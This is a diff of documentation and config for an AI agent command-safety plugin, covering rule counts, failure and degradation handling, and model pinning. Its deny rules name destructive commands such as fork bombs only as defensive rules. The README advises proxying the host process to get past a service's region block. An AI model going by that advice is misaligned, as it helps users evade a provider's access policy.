  **0.2.0-rc.2 was checked end to end on 2026-09-30** — this time the host *was* upgraded (`@deepseek-ai/dsh-desktop-runtime` 0.2.0-rc.2, Node 24.12.0, Windows), with this plugin at 0.5.3 and unmodified. The valve ran **mounted in a real session**: it judged the agent's commands over the live model (`jev-1.13.0`) and wrote its audit log, every record carrying the session id, the decision source (`jev` / `prefilter` / `static-rule` / `cache`), the risk probability, the latency and the token usage. Fail-open showed up in production as well as in the tests: judgements that ran past the 1800 ms budget were logged as `source: error` and allowed through, exactly as designed. Battery on that host: `guard selftest` 12/12; the seven offline suites 20 / 30 / 34 / 109 / 54 / 48 / 17 assertions, all passing (two counts differ from the Linux run — `selftest-entry` 30 vs 31 and `selftest-reason` 54 vs 56 — because those suites branch on platform); the DSH adapter smoke test 23/23; and the tool-pipeline integration test on the real `@deepseek-ai/dsh-tools` 0.2.0-rc.2 five-stage pipeline 6/6 offline and **7/7 with a key**, the extra case being one live judgement through the real pipeline. Statically, every host file this plugin touches is byte-identical between 0.1.7-rc.2 and 0.2.0-rc.2 — the `tools/pre-execute` and `agent/pre-step` declarations among them — so no code change was needed and none was made. The host's plugin version gate, which denies a plugin whose declared `@deepseek-ai/dsh*` peer requirements the running version does not satisfy, does not apply here: this plugin declares no `peerDependencies`, and both the gate's own function and the real profile-assembly path admit it.
76
77
 
78
+ **0.2.0-rc.2 was re-checked on 2026-10-15**, with this plugin at 0.5.5 on the same Windows host: `guard selftest` 12/12; the seven offline suites 20 / 30 / 34 / 113 / 54 / 48 / 17 assertions, all passing; the DSH adapter smoke test 23/23 without a key and 25/25 with one; and the tool-pipeline integration test 6/6 offline and **7/7 with a key**. The valve spent that day mounted in a real session, and the two failure shapes the session produced are now classified and degrading instead of filed under `unknown`: an egress **region block** (`451`) and a mistyped `model` (`400`) — see [D17](docs/DECISIONS.md). A judgment that outruns its budget still fails open and is still recorded as `source: error`.
79
+
80
+ **0.2.1-rc.2 was checked on 2026-10-17**, with this plugin at 0.5.6 on the same Windows host. The check was a contract diff rather than a guess: every host surface this plugin stands on was compared between the 0.2.0-rc.2 packages and the 0.2.1 build — the `tools/pre-execute` waterfall and its allow/ask/deny decision shape (`dsh-tools/lib/types/index.js`), the `agent/pre-step` default `{kind: 'enter', messages}` decision (`dsh-agent-loop/lib/index.js`), `snapshotEvents` / `deriveMessages` and the `approval/policy` + `permission/preset` payloads — and the lines the plugin actually matches are byte-identical, so no adapter change was needed. The valve then ran mounted: **216 judgments** across three sessions (`allow` 212 / `revise` 2 / `block` 2), and the only eight failures were 1800 ms timeouts — fail-open exactly as designed, not a contract break. Battery on that host: `guard selftest` 12/12; the seven offline suites 30 / 34 / 113 / 54 / 17 / 83 / 20 assertions, all passing; the DSH adapter smoke test 23/23. On the same day this profile's **executor** flipped from bash to pwsh (Git Bash's MSYS2 runtime cannot start under the sandbox's `WRITE_RESTRICTED` token, see `cordis.patch.yml`), which is what 0.5.6 answers: the audit log now carries `"tool": "pwsh"` records, and PowerShell's destructive surface is in the L0 rules ([D19](docs/DECISIONS.md)). The real tool-pipeline integration test was not run in this workspace — it resolves `@deepseek-ai/cordis` from its own location, and this checkout is deliberately zero-dependency; neither CI nor the publish workflow runs it.
81
+
77
82
  No host requirement is declared in `package.json` for any of them: the plugin market reads that field from the npm manifest and would then block install and update on every other DSH release. A version not listed here is therefore **untested, not forbidden**; if you run one, re-run the self-checks below.
78
83
 
79
84
  ```bash
@@ -160,7 +165,7 @@ Code comments and the labels inside `tools/` stay Chinese on purpose: they are r
160
165
 
161
166
  | Key | Default | Description |
162
167
  |---|---|---|
163
- | `model` | `jev-latest` | Alias of the judging model |
168
+ | `model` | `jev-1.13.0` | The judging model, **pinned**. The service's aliases move under a released plugin and this repository's thresholds were calibrated on `1.13.0`: measured on 2026-10-15, `jev-latest` still resolved to `jev-1.13.0` while `jev-preview` resolved to the image-mode `jev-1.14.0`, which is deliberately not adopted: every judgment is one text question, so an image-mode model would carry a capability this plugin never calls, and upstream's own position is that it is not ready for production |
164
169
  | `endpoint` | `https://api.typesafe.ai/v1/systemone` | Judging service endpoint |
165
170
  | `apiKeyEnv` / `apiKeyFile` | `TYPESAFE_API_KEY` / `secrets.json` | Key sources; **relative paths resolve against the package root** (independent of cwd) |
166
171
  | `lang` | `auto` | Language of every human/model-facing message (see [Languages](#languages)); `auto` reads the environment only, falling back to `zh-CN` |
@@ -173,7 +178,7 @@ Code comments and the labels inside `tools/` stay Chinese on purpose: they are r
173
178
  | `retryLimit` | `2` | How many times the same command may be blocked before it escalates (`escalate`, i.e. handed to a human) |
174
179
  | `tokens` / `tokenPath` | `true` / `~/.jev-guard/allow.txt` | One-shot allow tokens |
175
180
  | `logPath` / `logMaxBytes` | `~/.jev-guard/guard.log` / 4 MiB | Shared audit log (JSONL, rotated when over the limit) |
176
- | `quotaCooldownMs` / `authCooldownMs` | 15 min / 30 min | Cooldown after quota- and key-class failures |
181
+ | `quotaCooldownMs` / `authCooldownMs` | 15 min / 30 min | Cooldown after quota- and key-class failures. The two classes added in 0.5.5 are fixed rather than configurable: `region` (`451`) 30 min, `request` (`400`/`422`) 15 min |
177
182
  | `degradePolicy` | `l0-only` | Which layer survives degradation: `l0-only` (stop only the paid semantic layer) or `off` (suspend the whole valve) |
178
183
  | `pricePerMTok` | `0.042` | Unit price for cost estimation (USD per million input tokens; output is free per the vendor's documentation) |
179
184
 
@@ -224,7 +229,10 @@ The judging service is **pay-per-use**, so running out of credit is a certainty.
224
229
  |---|---|---|
225
230
  | Credit exhausted / key invalid (`402` / `401`) | **Degrades**: writes `~/.jev-guard/degraded.json` and stops sending requests for the cooldown window (to save money), running only the **free L0 + pre-screen** by default | `guard status` (exit code 3) · one `⚠️` line in the refusal reason · `source: degraded` and `level: warn` in the audit · stderr of the CLI |
226
231
  | Cooldown expires | Automatically sends **one** probe request: success restores normal operation (you do nothing), failure keeps it degraded | `guard status` shows how long is left |
227
- | Timeout / network hiccup / 5xx / 429 rate limit / no key / **an edge block** (a CDN/WAF answering `403` with an HTML page: the request never reached the judging service, so the key was never checked) | **No degradation** — each call is simply allowed (fail-open), but it is categorized and recorded | the "failure breakdown" line of `guard log --stats` |
232
+ | This egress is outside the service's region (`451`, carrying the service's own JSON body) | **Degrades for 30 minutes, globally** — the request reached the service and was refused by its region policy, and every entry point on this machine shares one egress | `guard status` names the cause (exit code 3) · the warning says to check the proxy and the egress IP · `errorKind: region` in `guard log --stats` |
233
+ | The request itself is refused (`400` / `422`, e.g. `Unknown model: …`) | **Degrades for 15 minutes, only for the entry point that wrote the state** — retrying cannot help, the `model` is what has to change | `guard status` names the cause · the warning points at the `model` · `errorKind: request` in `guard log --stats` |
234
+ | No key configured | **Degrades stickily** (D15): zero HTTP requests, and it ends the moment a key resolves | one `⚠️` notice in the session itself · `guard key status` exits 3 |
235
+ | Timeout / network hiccup / 5xx / 429 rate limit / **an edge block** (a CDN/WAF answering `403` with an HTML page: the request never reached the judging service, so the key was never checked) | **No degradation** — each call is simply allowed (fail-open), but it is categorized and recorded | the "failure breakdown" line of `guard log --stats` |
228
236
 
229
237
  ```bash
230
238
  node bin/guard.mjs status --clear # don't want to wait out the cooldown: retry once now (a failure re-enters degradation)
@@ -232,6 +240,35 @@ node bin/guard.mjs status --clear # don't want to wait out the cooldown: retr
232
240
 
233
241
  If you want "once the credit is gone, don't interfere at all" (L0 included), set `degradePolicy: "off"`.
234
242
 
243
+ ## If the service refuses your region: the region lock
244
+
245
+ The judging service is **not reachable from every region**: a request sent from a blocked egress comes back `HTTP 451` with
246
+ the service's own body, `{"title":"Typesafe is not available in your region.","status":451}` — refused before
247
+ authentication and before the body is validated. Measured on 2026-10-15 through the production path: the **same request
248
+ body** returns `422` (a body-validation error, i.e. it arrived) from an allowed egress and `451` from a blocked one.
249
+
250
+ What that means, and what it does not:
251
+
252
+ - **It is not a plugin fault, and not a key problem.** The key is never checked; a fresh, valid key fails identically.
253
+ - **It is a property of the egress, shared by every entry point on the machine** — the DSH host process, the CLI, a
254
+ scheduled job — which is why the `region` class degrades **globally** for 30 minutes instead of per entry point.
255
+ - **It is loud now.** Before 0.5.5 the whole condition was classified `unknown`, and `unknown` degrades nothing: the valve
256
+ failed open on every command, kept re-sending requests the service had just refused (83 in one measured session, all
257
+ `source: error`), and `guard status` still printed "normal". Now `guard status` names the cause and the warning tells you
258
+ to check the proxy and the egress IP.
259
+
260
+ **How to run in a blocked region:** route the **DSH host process** through an egress in an allowed region. What bites on
261
+ Windows is that this routing is often applied **per executable**: a proxy configured only for your shell leaves
262
+ `DeepSeek Harness.exe` going out directly — measured here on 2026-10-15, a proxied shell resolved to a US exit while the
263
+ host binary, running the *same* script, resolved to a Chinese one and got `451`. Verify from inside the host rather than
264
+ from a terminal: `node bin/guard.mjs judge 'ls'` should come back `source: jev`, and `guard log --stats` should show no
265
+ `region` count.
266
+
267
+ **The honest limit:** the valve cannot fix your egress. Under a region lock its job is to stop spending requests it has
268
+ been told will be refused, and to say so instead of reporting health for a session in which nothing was judged. The
269
+ `region` cooldown probes once per 30 minutes, so it recovers by itself as soon as the egress changes — see
270
+ [`docs/DECISIONS.md`](./docs/DECISIONS.md) D17.
271
+
235
272
  ## Visibility: audit log and status
236
273
 
237
274
  Every judgment appends one JSONL line to `~/.jev-guard/guard.log` (rotated past 4 MiB; keys are masked before the command is written):
package/README.zh-CN.md CHANGED
@@ -42,6 +42,7 @@
42
42
  - [两种审批策略下的行为](#两种审批策略下的行为)
43
43
  - [被拦了怎么办:人的三条介入通道](#被拦了怎么办人的三条介入通道)
44
44
  - [额度用完会怎样:降级而不是静默失效](#额度用完会怎样降级而不是静默失效)
45
+ - [服务拒绝你的地区时:地区锁](#服务拒绝你的地区时地区锁)
45
46
  - [看得见:审计日志与状态](#看得见审计日志与状态)
46
47
  - [平台支持](#平台支持)
47
48
  - [自检与验收](#自检与验收)
@@ -62,7 +63,7 @@
62
63
 
63
64
  分三层,顺序固定:
64
65
 
65
- 1. **L0 静态硬规则**(`lib/rules.js`):21 条"永不允许" + 16 条"必须人工确认"。**不联网、不可被覆盖**,连一次性令牌也过不去。规则只在**命令位置**匹配(每一行行首,或 `;` `&` `|` `(` `$(` 之后,或 `bash -c "` 之后,并允许 `sudo`/`timeout 30`/`xargs -0`/`find … -exec` 这类包装器)—— 所以"在参数里提到危险命令"不会被误伤,**而多行脚本里的真命令也不会被漏掉**。只有两条结构上锚不了的规则(`redirect-to-device`、`fork-bomb`)是全文匹配,计数器 `RULE_STATS.anywhere` 恒为 2。
66
+ 1. **L0 静态硬规则**(`lib/rules.js`):26 条"永不允许" + 24 条"必须人工确认"。**不联网、不可被覆盖**,连一次性令牌也过不去。规则只在**命令位置**匹配(每一行行首,或 `;` `&` `|` `(` `$(` 之后,或 `bash -c "` / `pwsh -NoProfile -Command "` / `cmd /c "` 之后,并允许 `sudo`/`timeout 30`/`xargs -0`/`find … -exec` 这类包装器)—— 所以"在参数里提到危险命令"不会被误伤,**而多行脚本里的真命令也不会被漏掉**。只有两条结构上锚不了的规则(`redirect-to-device`、`fork-bomb`)是全文匹配,计数器 `RULE_STATS.anywhere` 恒为 2。
66
67
  2. **预筛**:可证明只读或只影响可重建内容(缓存、构建产物、`/tmp`)的命令直接放行,**零网络调用**。
67
68
  3. **Jev 语义判定**:一次是非问句 —— *"这条命令会不可逆地删除或覆盖用户的真实数据吗?"* —— 按两个阈值切成 `allow` / `revise` / `block`。实测延迟 ~300ms(P50 267ms),成本 ≈ `$0.000019`/次。
68
69
 
@@ -70,10 +71,14 @@
70
71
 
71
72
  要求 **Node ≥ 20**(用到全局 `fetch`)。**零运行时依赖**,不需要 `npm install`。
72
73
 
73
- **已验证的宿主版本:DSH 0.1.6-alpha.2、0.1.7-rc.2 与 0.2.0-rc.2。** 0.1.7-rc.2 于 2026-09-25 完整跑过一遍(Node 24.21.0、WSL/Linux,插件本体 0.5.3):`guard selftest` 12/12;七份离线自检 20 / 31 / 34 / 109 / 56 / 48 / 17 条断言全过;DSH 适配器冒烟 23/23;工具管线集成测试跑在该 checkout 自带的 `@deepseek-ai/dsh-tools` 上,离线 6/6、**带密钥 7/7**(多出来的那一例是走真实五阶段管线的一次联网判定)。阀门也在真实会话里挂载运行过:逐条判定命令,并在审批策略 `ask` 下写下审计日志。
74
+ **已验证的宿主版本:DSH 0.1.6-alpha.2、0.1.7-rc.2、0.2.0-rc.2 与 0.2.1-rc.2。** 0.1.7-rc.2 于 2026-09-25 完整跑过一遍(Node 24.21.0、WSL/Linux,插件本体 0.5.3):`guard selftest` 12/12;七份离线自检 20 / 31 / 34 / 109 / 56 / 48 / 17 条断言全过;DSH 适配器冒烟 23/23;工具管线集成测试跑在该 checkout 自带的 `@deepseek-ai/dsh-tools` 上,离线 6/6、**带密钥 7/7**(多出来的那一例是走真实五阶段管线的一次联网判定)。阀门也在真实会话里挂载运行过:逐条判定命令,并在审批策略 `ask` 下写下审计日志。
74
75
 
75
76
  **0.2.0-rc.2 于 2026-09-30 完整跑过一遍** —— 这次宿主**真的升上来了**(`@deepseek-ai/dsh-desktop-runtime` 0.2.0-rc.2、Node 24.12.0、Windows),插件本体 0.5.3、一行未改。阀门**在真实会话里挂载运行**:逐条判定 agent 发出的命令,走真实联网模型(`jev-1.13.0`),并写下审计日志 —— 每条记录都带会话 id、判定来源(`jev` / `prefilter` / `static-rule` / `cache`)、风险概率、延迟与 token 用量。fail-open 不只在测试里成立,生产路径上也观察到了:超出 1800ms 判定预算的条目被记成 `source: error` 并放行,与设计一致。该宿主上的电池:`guard selftest` 12/12;七份离线自检 20 / 30 / 34 / 109 / 54 / 48 / 17 条断言全过(其中两个数字与 Linux 轮不同 —— `selftest-entry` 30 对 31、`selftest-reason` 54 对 56 —— 因为这两套用例按平台分支);DSH 适配器冒烟 23/23;工具管线集成测试跑在真实的 `@deepseek-ai/dsh-tools` 0.2.0-rc.2 五阶段管线上,离线 6/6、**带密钥 7/7**(多出来的那一例是走真实五阶段管线的一次联网判定)。静态上,本插件触及的每一个宿主文件在 0.1.7-rc.2 与 0.2.0-rc.2 之间都逐字节一致(含 `tools/pre-execute` 与 `agent/pre-step` 的声明),所以无需改动、也确实一行未改。宿主的插件版本门槛 —— 声明了 `@deepseek-ai/dsh*` peer 要求而运行版本不满足时就拒绝加载 —— 对本案不适用:本插件不声明 `peerDependencies`,门槛函数本身与真实的 profile 装配路径都放行。
76
77
 
78
+ **0.2.0-rc.2 于 2026-10-15 又完整跑过一遍** —— 插件本体 0.5.5,宿主是同一台 Windows 机:`guard selftest` 12/12;七份离线自检 20 / 30 / 34 / 113 / 54 / 48 / 17 条断言全过;DSH 适配器冒烟无密钥 23/23、带密钥 25/25;工具管线集成测试离线 6/6、**带密钥 7/7**。这一天阀门一直挂在真实会话里跑,而这场会话产生的两种失败形状现在各有分类、会降级,不再落进 `unknown`:出口的**地区拦截**(`451`)与写错的 `model`(`400`)—— 见 [D17](docs/DECISIONS.md)。超出预算的判定照旧 fail-open,也照旧记为 `source: error`。
79
+
80
+ **0.2.1-rc.2 于 2026-10-17 做过一次兼容复查** —— 插件本体 0.5.6,同一台 Windows 机。这次不是猜行为,而是逐处做契约对照:把 0.2.0-rc.2 的包与 0.2.1 的构建逐项比较插件站在其上的每一个宿主面 —— `tools/pre-execute` 瀑布与 allow/ask/deny 决策形状(`dsh-tools/lib/types/index.js`)、`agent/pre-step` 的默认 `{kind: 'enter', messages}`(`dsh-agent-loop/lib/index.js`)、`snapshotEvents` / `deriveMessages` 以及 `approval/policy` + `permission/preset` 载荷 —— 插件实际匹配的那几行逐字节一致,适配器一行未改。阀门随后挂载运行:**216 条判定**、跨三个会话(`allow` 212 / `revise` 2 / `block` 2),唯一的失败是 8 条 1800ms 超时 —— 按设计 fail-open,不是契约破损。该宿主上的电池:`guard selftest` 12/12;七份离线自检 30 / 34 / 113 / 54 / 17 / 83 / 20 条断言全过;DSH 适配器冒烟 23/23。同一天这个 profile 的**执行器**从 bash 翻成了 pwsh(Git Bash 的 MSYS2 运行时在沙盒的 `WRITE_RESTRICTED` 令牌下起不来,见 `cordis.patch.yml`),0.5.6 回应的就是这件事:审计日志里已经有 `"tool": "pwsh"` 记录,而且 PowerShell 的破坏性操作面已经进了 L0 规则([D19](docs/DECISIONS.md))。真实工具管线集成测试本次没跑 —— 它从自身位置解析 `@deepseek-ai/cordis`,而本 checkout 刻意零依赖;CI 与发布工作流也都不跑它。
81
+
77
82
  这些版本都**刻意不在 `package.json` 里声明为宿主要求**:插件市场会从 npm manifest 读这个字段,一旦声明就会在其他所有 DSH 版本上拦住安装与更新。未列入的版本是**没验过,而不是被禁止**;换版本后请重跑下面的自检。
78
83
 
79
84
  ```bash
@@ -160,7 +165,7 @@ node bin/guard.mjs status # 期望:✅ 正常(降级时退出码为 3)
160
165
 
161
166
  | 键 | 默认 | 说明 |
162
167
  |---|---|---|
163
- | `model` | `jev-latest` | 判定模型别名 |
168
+ | `model` | `jev-1.13.0` | 判定模型,**固定版本号**。服务的别名会在一个已发布的插件脚下移动,而本仓的阈值是在 `1.13.0` 上标定的:2026-10-15 实测,`jev-latest` 仍解析到 `jev-1.13.0`,而 `jev-preview` 解析到图像模式的 `jev-1.14.0` —— 后者**故意不跟进**:每一次判定都只是一个文本问题,图像模式模型会背上一个本插件永远不调用的能力;而且上游自己说它还不够进生产 |
164
169
  | `endpoint` | `https://api.typesafe.ai/v1/systemone` | 判定服务地址 |
165
170
  | `apiKeyEnv` / `apiKeyFile` | `TYPESAFE_API_KEY` / `secrets.json` | 密钥来源;**相对路径按包根解析**(与 cwd 无关) |
166
171
  | `lang` | `auto` | 全部给人/模型看的文案的语言(见[语言](#语言));`auto` 只读环境变量,兜底 `zh-CN` |
@@ -173,7 +178,7 @@ node bin/guard.mjs status # 期望:✅ 正常(降级时退出码为 3)
173
178
  | `retryLimit` | `2` | 同一条命令被拦多少次后升级为 `escalate`(交人处理) |
174
179
  | `tokens` / `tokenPath` | `true` / `~/.jev-guard/allow.txt` | 一次性放行令牌 |
175
180
  | `logPath` / `logMaxBytes` | `~/.jev-guard/guard.log` / 4 MiB | 共享审计日志(JSONL,超限轮转) |
176
- | `quotaCooldownMs` / `authCooldownMs` | 15 min / 30 min | 额度、密钥类失败后的降级冷却 |
181
+ | `quotaCooldownMs` / `authCooldownMs` | 15 min / 30 min | 额度、密钥类失败后的降级冷却。0.5.5 新增的两个分类是固定的、不可配:`region`(`451`)30 分钟、`request`(`400`/`422`)15 分钟 |
177
182
  | `degradePolicy` | `l0-only` | 降级时保留哪一层:`l0-only`(只停要花钱的语义层)或 `off`(整条阀门暂停) |
178
183
  | `pricePerMTok` | `0.042` | 成本估算单价(美元/百万输入 token;输出按官方说明免费) |
179
184
 
@@ -224,7 +229,10 @@ node bin/guard.mjs allow --revoke ALLOW-… # 撤销
224
229
  |---|---|---|
225
230
  | 额度耗尽 / 密钥失效(`402` / `401`) | **降级**:写 `~/.jev-guard/degraded.json`,冷却窗口内不再发请求(省钱),默认只跑**免费的 L0 + 预筛** | `guard status`(退出码 3)· 拒绝理由里的一句 `⚠️` · 审计里的 `source: degraded` 与 `level: warn` · CLI 的 stderr |
226
231
  | 冷却到期 | 自动放**一次**探测请求:成功即恢复(你不用做任何事),失败继续降级 | `guard status` 会显示还剩多久 |
227
- | 超时 / 网络抖 / 5xx / 429 限流 / 无密钥 / **被边缘拦下**(CDN/WAF 用 `403` 回了一个 HTML 页:请求根本没到判定服务,密钥也没被检查过) | **不降级**,只逐次放行(fail-open),但会被分类记录 | `guard log --stats` 的"失败分类"一行 |
232
+ | 这个出口不在服务的地区内(`451`,正文是服务自己的 JSON) | **降级 30 分钟,作用域全局** —— 请求到了服务、被它的地区策略拒了,而这台机器上每条入口共用同一个出口 | `guard status` 点名原因(退出码 3)· 告警让你先查代理与出口 IP · `guard log --stats` 里的 `errorKind: region` |
233
+ | 请求本身被拒(`400` / `422`,例如 `Unknown model: …`) | **降级 15 分钟,只作用于写下状态的那条入口** —— 重试没有意义,要改的是 `model` | `guard status` 点名原因 · 告警指向 `model` · `guard log --stats` 里的 `errorKind: request` |
234
+ | 没配密钥 | **粘性降级**(D15):零 HTTP 请求,密钥一解析到就当场结束 | 会话里的一句 `⚠️` notice · `guard key status` 退出码 3 |
235
+ | 超时 / 网络抖 / 5xx / 429 限流 / **被边缘拦下**(CDN/WAF 用 `403` 回了一个 HTML 页:请求根本没到判定服务,密钥也没被检查过) | **不降级**,只逐次放行(fail-open),但会被分类记录 | `guard log --stats` 的"失败分类"一行 |
228
236
 
229
237
  ```bash
230
238
  node bin/guard.mjs status --clear # 不想等冷却:立刻重试一次(失败会再次进入降级)
@@ -232,6 +240,31 @@ node bin/guard.mjs status --clear # 不想等冷却:立刻重试一次(失败
232
240
 
233
241
  想"额度没了就彻底别插手"(连 L0 也停)就设 `degradePolicy: "off"`。
234
242
 
243
+ ## 服务拒绝你的地区时:地区锁
244
+
245
+ 判定服务**并非从任何地区都能访问**:从一个被拦的出口发出去的请求,回来的是 `HTTP 451`,正文是服务自己的那一段 ——
246
+ `{"title":"Typesafe is not available in your region.","status":451}` —— 而且它在鉴权之前、在请求正文校验之前就被拒了。
247
+ 2026-10-15 走生产路径实测:**同一个请求体**从允许的出口得到的是 `422`(正文校验错误 —— 说明请求到了),从被拦的出口
248
+ 得到的是 `451`。
249
+
250
+ 这件事意味着什么、又不意味着什么:
251
+
252
+ - **不是插件故障,也不是密钥问题。** 密钥根本没被检查过;换一把全新的、有效的密钥,结果一模一样。
253
+ - **它是出口的属性,而这台机器上每条入口共用同一个出口** —— DSH 宿主进程、CLI、计划任务都一样。这也是 `region`
254
+ 这一类降级是**全局** 30 分钟、而不是只停一条入口的原因。
255
+ - **它现在是"响的"。** 0.5.5 之前,这一整套状况被归进 `unknown`,而 `unknown` 什么都不降级:阀门对每条命令都
256
+ fail-open、把服务刚刚拒过的请求一遍遍再发出去(实测一场会话 83 条,全是 `source: error`),而 `guard status`
257
+ 一直打印"正常"。现在 `guard status` 会点名原因,告警会告诉你去查代理与出口 IP。
258
+
259
+ **在被拦的地区怎么跑起来:** 让 **DSH 宿主进程**走一个允许地区的出口。Windows 上坑人的地方在于:这种分流往往是**按
260
+ 可执行文件**生效的 —— 只给你的终端配了代理,`DeepSeek Harness.exe` 仍然直连出网:本机 2026-10-15 实测,同一份脚本
261
+ 在配好代理的终端里拿到了美国出口,而由宿主二进制运行时拿到的是中国出口,于是吃了 `451`。验证要在宿主内部做、不是
262
+ 在终端里做:`node bin/guard.mjs judge 'ls'` 应当回 `source: jev`,而 `guard log --stats` 里不该有 `region` 计数。
263
+
264
+ **诚实的上限:** 阀门修不了你的出口。地区锁之下它的职责是:不再花请求去撞一扇已经被告知会关的门,并且**说出来**,
265
+ 而不是对一场什么都没判定的会话报"健康"。`region` 冷却每 30 分钟探一次,所以出口一换它自己就恢复了 —— 见
266
+ [`docs/DECISIONS.md`](./docs/DECISIONS.md) D17。
267
+
235
268
  ## 看得见:审计日志与状态
236
269
 
237
270
  每个判定都会追加一行 JSONL 到 `~/.jev-guard/guard.log`(超 4 MiB 轮转,命令写入前掩码密钥):
@@ -1,6 +1,7 @@
1
1
  {
2
2
  "_comment": "复制成 config.json 后按需修改。config.json 与 secrets.json 不进版本库。",
3
- "model": "jev-latest",
3
+ "_model": "2026-10-15 起默认锁定版本号:阈值 0.5/0.7 标定于 jev-1.13.0,别名会在上游转正式后静默前移(jev-latest 目前=1.13.0;1.14 仍在预览期,挂 jev-preview)。不跟进 1.14 的理由有两条:①本插件每次判定只发一个文本问题(questions.destroys_data、type=noul)、只读回一个概率,整条路径上没有图片/多模态输入可喂;②上游自己说它当前不适合进生产。换模型 = 重标定事件(737 条复测 + 阈值重标),不是改字符串。详见 docs/DECISIONS.md D18。",
4
+ "model": "jev-1.13.0",
4
5
  "endpoint": "https://api.typesafe.ai/v1/systemone",
5
6
  "apiKeyEnv": "TYPESAFE_API_KEY",
6
7
  "_apiKeyFile": "密钥的第三来源(优先级低于 DSH 凭据层与环境变量)。相对路径按**包根**解析,与 cwd 无关。用 `node bin/guard.mjs key set` 录入(只从标准输入读,写这个文件、权限 0600);`node bin/guard.mjs key status` 会告诉你当前哪个来源在生效,永不回显密钥。该文件在 .gitignore 里,也不在 npm files 白名单内 —— 仓库与发布包里都没有它。",
package/cordis.patch.yml CHANGED
@@ -75,7 +75,14 @@
75
75
  # 第三层就是 `node bin/guard.mjs key set` 写的那一份 —— 缺了它,"用 CLI 录入密钥"
76
76
  # 对 DSH 用户就是一句空话。三处永不打印密钥。
77
77
  apiKeyEnv: TYPESAFE_API_KEY
78
- model: jev-latest
78
+
79
+ # 2026-10-15 锁定版本号(与 config.json / config.example.json 同步):阈值 0.5/0.7
80
+ # 标定于 jev-1.13.0,而别名会在上游转正式后静默前移 —— jev-latest 目前仍=1.13.0,
81
+ # 1.14(10-14 发布、预览期)挂在 jev-preview 上。**不跟进它的理由有两条**:①本插件每次
82
+ # 判定只发一个文本问题(questions.destroys_data、type=noul)、只读回一个概率,整条路径上
83
+ # 没有图片/多模态输入可喂;②上游自己说它当前不适合进生产。换模型 = 重标定事件
84
+ # (重新拟合阈值 + 重跑 737 条记录命令),不是改字符串。详见 docs/DECISIONS.md D18。
85
+ model: jev-1.13.0
79
86
 
80
87
  # ── 会话内提示(2026-09-20,见 docs/DECISIONS.md D15)─────────────────────────
81
88
  # 纯 host 插件没有任何 toast / banner / 启动提示接口(DSH 的设置页都由浏览器侧注册占位),
@@ -21,7 +21,7 @@ and it is also the reason it can run the same judging on both Windows and WSL.
21
21
 
22
22
  ### L0 — static hard rules (offline)
23
23
 
24
- **Responsibility:** the two lists "never allowed" and "must be confirmed by a human". `lib/rules.js`, 21 deny + 16 ask.
24
+ **Responsibility:** the two lists "never allowed" and "must be confirmed by a human". `lib/rules.js`, 26 deny + 24 ask.
25
25
 
26
26
  **Why it is a separate layer:** it must not depend on the network, must not depend on a model, and must not be overridable
27
27
  by anything downstream. In DSH the counterpart is
@@ -21,7 +21,7 @@
21
21
 
22
22
  ### L0 — 静态硬规则(不联网)
23
23
 
24
- **职责:** "永不允许"和"必须人工确认"两类清单。`lib/rules.js`,21 条 deny + 16 条 ask。
24
+ **职责:** "永不允许"和"必须人工确认"两类清单。`lib/rules.js`,26 条 deny + 24 条 ask。
25
25
 
26
26
  **为什么单独一层:** 它必须不依赖网络、不依赖模型、不可被任何下游覆盖。DSH 里对应的是
27
27
  `ctx.tools.guard()` —— 文档原话:may deny or abstain, **never force-allow**。
package/docs/DECISIONS.md CHANGED
@@ -498,3 +498,121 @@ process, and the adapter records one `level: 'warn'` audit entry so the cause st
498
498
  errno instead of swallowing it, and `guard status --clear` prints it and exits 1 rather than claiming "nothing to clear".
499
499
  What cannot be fixed from inside is a **new process**: it reads the same old file, and since nobody can delete it, one more
500
500
  probe happens. That is the honest limit of a filesystem that refuses to forget.
501
+
502
+ ---
503
+
504
+ ## D17 · A `451` is a **region** block and a `400`/`422` is a **request** problem — both **degrade**, neither is `unknown` (2026-10-15)
505
+
506
+ **Decision:** `451` becomes its own class `region`: degrading, **global** scope, 30-minute cooldown. `400`/`422` becomes
507
+ `request`: degrading, **local** scope, 15-minute cooldown. Neither is an `edge` block, and neither stays in `unknown`.
508
+
509
+ **Why `unknown` was the wrong answer, measured:** on 2026-10-15 a Windows desktop deployment judged 83 times in one session and
510
+ succeeded **zero** times — every call came back `HTTP 451` carrying the service's own
511
+ `{"title":"Typesafe is not available in your region.","status":451}`. `unknown` is `{ degraded: false, cooldownMs: 0 }`, so the
512
+ valve failed open on every command, re-sent a request the service had just refused, wrote no state file, and `guard status`
513
+ kept printing "normal" (73 of those 83 entries are `source: error` / `errorKind: unknown`, all `allow`). `unknown` was created
514
+ for the honest case "we genuinely cannot tell"; field data says here we can. The same silence covered a mistyped `model`:
515
+ `400` with `{"detail":{"error_type":"api_usage_error","message":"Unknown model: jev-nope"}}` also landed in `unknown`, and
516
+ nothing said the configuration was wrong.
517
+
518
+ **Why not `edge`:** D16's rule is that a response which does not look like the JSON API — HTML, a WAF fingerprint — never
519
+ reached the application, so it must not degrade. This body **is** the application's JSON, with a JSON content-type, so the
520
+ request reached the service and the service made a policy decision about where it came from. `looksLikeEdgeBlock()` is
521
+ deliberately not consulted for `451`; using D16's split here would have hidden a real, persistent condition behind
522
+ per-call fail-open.
523
+
524
+ **Why `region` is global and `request` is local** (D15's rule, applied): a region block is a property of the **egress path**,
525
+ and every entry point on this machine shares it — so the state has to suppress all of them, or each one rediscovers the
526
+ block with its own refused request. A `400`/`422` says something about **this entry point's configuration** (its `model`, its
527
+ body), which other entry points do not share, so the state is written with `scope: 'local'` and filters exactly like
528
+ `no-key`.
529
+
530
+ **Why a cooldown rather than per-call fail-open:** a region block does not clear itself between two commands — per-call
531
+ fail-open is precisely what produced 83 refused round-trips in one session. Probing once every 30 minutes costs one refused
532
+ request per half hour and recovers on its own as soon as the egress reaches an allowed region; `request` is shorter
533
+ (15 minutes) because a corrected `model` can be there a minute later.
534
+
535
+ **The honest limit:** the valve cannot fix the egress — that is the operator's side. When the region block is real, the
536
+ valve's job is to say so loudly (the new `quota.region.*` copy names the egress IP and the proxy) and to stop reporting
537
+ "normal" for a session in which nothing was judged. `tools/selftest-quota.mjs` section 18 pins all of it, including the
538
+ end-to-end shape: one `451`, one HTTP request, a state file with `kind: region` + `scope: global`, and the next command
539
+ suppressed.
540
+
541
+ ---
542
+
543
+ ## D18 · The judging model is a **pinned version** rather than a floating alias, and the newer **image-mode** model is deliberately **not** adopted (2026-10-15, user decision)
544
+
545
+ **Decision:** this plugin ships `model: jev-1.13.0` and stays there until someone re-calibrates. `jev-latest` is no longer
546
